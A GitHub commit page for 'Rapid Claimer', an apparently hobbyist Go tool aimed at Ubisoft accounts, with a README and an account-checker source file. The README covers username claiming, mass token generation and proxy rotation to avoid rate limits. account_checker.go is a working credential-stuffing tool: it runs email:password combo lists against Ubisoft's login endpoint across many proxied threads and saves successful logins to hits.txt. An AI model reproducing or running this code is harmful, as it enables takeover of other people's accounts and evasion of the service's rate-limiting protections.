Skip to content

Commit

Permalink
first commit
Browse files Browse the repository at this point in the history
  • Loading branch information
realTristan committed Aug 31, 2022
0 parents commit ac32db8
Show file tree
Hide file tree
Showing 24 changed files with 60,924 additions and 0 deletions.
9 changes: 9 additions & 0 deletions LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
MIT License

Copyright (c) 2022 Tristan Simpson

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
53 changes: 53 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
# Rapid Claimer ![Stars](https://img.shields.io/github/stars/realTristan/RapidClaimer?color=brightgreen) ![Watchers](https://img.shields.io/github/watchers/realTristan/RapidClaimer?label=Watchers)
![banner](https://user-images.githubusercontent.com/75189508/187748755-5cf9f773-6d38-4325-9eea-a3148ac56457.png)

# ❓ About
- Rapid Claimer is a lightning fast and easy-to-use ubisoft name claimer, account checker and name swapper. Follow the steps below to get started with using it!

# 🔎 Name Claimer Usage
**1.** If you have proxies, add them to the data/name_checker.proxies.txt file
<br>

**2.** Go to data/name_checker/names.txt and paste the names you want to check
<br>
↳ Each name on a new line
<br>
↳ To quickly generate 3/4 letter names visit http://www.unit-conversion.info/texttools/random-string-generator/
<br>

**3.** Open rapid.exe and select option 3, the token generator
<br>

**4.** Next enter how many tokens you want to generate
↳ I suggest generating 100+ tokens, without proxies you will be ratelimited after 7 tokens
↳ You can see these newly generated tokens in the data/name_checker/tokens.txt file
↳ Using Existing Accounts will generate tokens with accounts in data/tokens/token_accounts.txt
<br>

**5.** Close the program and re-open it then select option 1, the name claimer
<br>

**6.** Select how many threads you want to use
↳ I suggest 1-100
<br>

**7.** Done! You're now checking for available names and will claim them if they are available
↳ The name claimer is proxyless at 1-2 threads, anything higher requires proxies
↳ Available names will appear in data/name_checker/available.txt
↳ Claimed names will appear in data/name_checker/claimed.txt

# 📝 MongoDB
![Capture](https://user-images.githubusercontent.com/75189508/187750772-7b531072-983c-4636-9bf3-9a86c80d80dc.PNG)
![Capture2](https://user-images.githubusercontent.com/75189508/187750774-6b74e120-336f-49cf-8a1a-ae19bbd6d452.PNG)


# License
MIT License

Copyright (c) 2022 Tristan Simpson

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
182 changes: 182 additions & 0 deletions account_checker/account_checker.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,182 @@
package account_checker

// Import Packages
import (
"encoding/base64"
"encoding/json"
"fmt"
"strings"
"sync"
"time"

Global "rapid_name_claimer/global"
Queue "rapid_name_claimer/queue"

"github.com/gookit/color"
"github.com/valyala/fasthttp"
)

// Define Global Variables
var (
// Counter Variables
hitCount, errorCount int = 0, 0
totalRequests int64 = 1

// Amount of accounts in combos.txt
accountCount int64 = Global.FileNewLineCount("data/account_checker/combos.txt")

// Account Combos Queue
AccountQueue *Queue.ItemQueue = Global.AddToQueue(Queue.Create(), "data/account_checker/combos.txt")
)

// The LiveCounter() function is used to display all of
// the stats for the account checker. This includes the
// amount of hits, checked, errors, etc.
func LiveCounter(programStartTime *int64, threadCount int) {
var reqsPerSecond int64 = totalRequests / ((time.Now().Unix() - *programStartTime) + 1)
color.Printf(
"\033[H\033[2J\033[0;0H%s\n\n\033[1;37m ┃ \033[1;34m\033[1;37m\033[1;34m Accounts \033[1;97m[\033[1;33m%d\033[1;97m]\033[1;34m\n\033[1;37m ┃ \033[1;34m\033[1;37m\033[1;34m Threads \033[1;97m[\033[1;35m%d\033[1;97m]\033[1;34m\n\033[1;37m ┃ \033[1;34m\033[1;37m\033[1;34m Proxies \033[1;97m[\033[1;30m%d\033[1;97m]\033[1;34m\n\033[1;37m ┃ \033[1;34m\033[1;37m\033[1;34m Hits \033[1;97m[\033[1;32m%d\033[1;97m]\033[1;34m\n\033[1;37m ┃ \033[1;34m CPS \033[1;97m[\033[1;36m%d/s\033[1;97m]\033[1;34m\n\033[1;37m ┃ \033[1;34m\033[1;37m\033[1;34m Checked \033[1;97m[\033[1;32m%d\033[1;97m]\033[1;34m\n\033[1;37m ┃ \033[1;34m Errors \033[1;97m[\033[1;31m%d\033[1;97m]\033[1;34m\n\n \033[1;31m%s",
Global.RapidLogoString, accountCount, threadCount, Global.ProxyQueue.Size(), hitCount, reqsPerSecond, totalRequests, errorCount, Global.CurrentError)
}

// The CreateRequestObject() is used to create the fasthttp request
// object that is being used for sending the http request to the
// ubisoft api endpoint.
func CreateRequestObject(auth string) *fasthttp.Request {
// Define Variables
var (
// Create the request object
req *fasthttp.Request = Global.SetRequest("POST")

// Marshal the body being sent in the request
data, _ = json.Marshal(map[string]interface{}{"rememberMe": false})
)

// Set the request url, headers and body
req.SetRequestURI(fmt.Sprintf("%sv3/profiles/sessions", Global.GetCustomUrl()))
req.Header.Set("Authorization", fmt.Sprintf("Basic %s", auth))
req.SetBody(data)

// Return the request object
return req
}

// The HandleResponse() function is used for handling the validation
// response from HandleEmailCheckResponse(). I decided to use
// the validation endpoint and this to prevent ratelimiting the shit
// out of the login endpoint.
func HandleValidateResponse(RequestClient *fasthttp.Client, account string) {
Global.SetProxy(RequestClient)

// Define Variables
var (
// Base64 the account email:password
auth string = base64.StdEncoding.EncodeToString([]byte(account))

// Create the request object
req *fasthttp.Request = CreateRequestObject(auth)

// Create the response object
resp *fasthttp.Response = Global.SetResponse(false)

// Send the http request
err error = RequestClient.DoTimeout(req, resp, time.Second*6)
)
// Release the request and response as
// they are both no longer needed after the
// function is returned
defer fasthttp.ReleaseRequest(req)
defer fasthttp.ReleaseResponse(resp)

// If no errors occured and the response status code is 200 (success)
if resp.StatusCode() == 200 && err == nil {

// Write the combo to the hits.txt file
go Global.WriteToFile("data/account_checker/hits.txt", &account)
hitCount++
} else {

// Set the current error if the error isn't nil
// and the status code doesn't equal 401 (invalid credentials code)
if err != nil || resp.StatusCode() != 401 {
Global.CurrentError = fmt.Sprintf(" >> Session Login Error: %d: %v: %s", resp.StatusCode(), err, string(resp.Body()))
errorCount++
}
}
}

// The HandleEmailCheckResponse() function is used for checking
// whether the combo's email is already registered.
// If it is, then call the HandleValidateResponse() function
// in a goroutine for logging into the account
func HandleEmailCheckResponse(RequestClient *fasthttp.Client, account string, resp *fasthttp.Response, err error) {
totalRequests++

// If the error is nil and the status code is 200 (success)
if err == nil && resp.StatusCode() == 200 {

// Check if the response body contains the string
// determining whether the email is already registered
var body string = string(resp.Body())
if Global.Contains(&body, "email address already registered") {
// Run the handler function
go HandleValidateResponse(RequestClient, account)
return
}
} else {

// Set the current error and increase the error count
Global.CurrentError = fmt.Sprintf(" >> Email Check Error: %d: %v: %s", resp.StatusCode(), err, string(resp.Body()))
errorCount++
}
// Release the response object as it's
// no longer being used
fasthttp.ReleaseResponse(resp)
}

// The Start() function is used to start all of
// the goroutines and functions that are used
// for checking the accounts in combos.txt
func Start(threadCount int) {
// Define Variables
var (
// Used for tracking requests per second
programStartTime int64 = time.Now().Unix()

// Wait group for goroutines
waitGroup sync.WaitGroup = sync.WaitGroup{}
)
waitGroup.Add(1)

// Iterate over the threadCount
for i := 0; i < threadCount; i++ {

// Run everything below in a goroutine
go func() {
// Request Client for sending http requests
var RequestClient *fasthttp.Client = Global.SetClient((&fasthttp.TCPDialer{Concurrency: 4096}).Dial)
// Infinite loop
for {
// Display the checker info
LiveCounter(&programStartTime, threadCount)

// If the account queue isn't empty
if !AccountQueue.IsEmpty() {
// Define Variables
var (
// Get the combo from the account queue
account string = fmt.Sprint(*AccountQueue.Grab())

// Send the validation request using the request client and email
resp, err = Global.AccountValidationRequest(RequestClient, strings.Split(account, ":")[0])
)
// Handle the above response
go HandleEmailCheckResponse(RequestClient, account, resp, err)
} else {
return
}
}
}()
}
waitGroup.Wait()
}
Loading

0 comments on commit ac32db8

Please sign in to comment.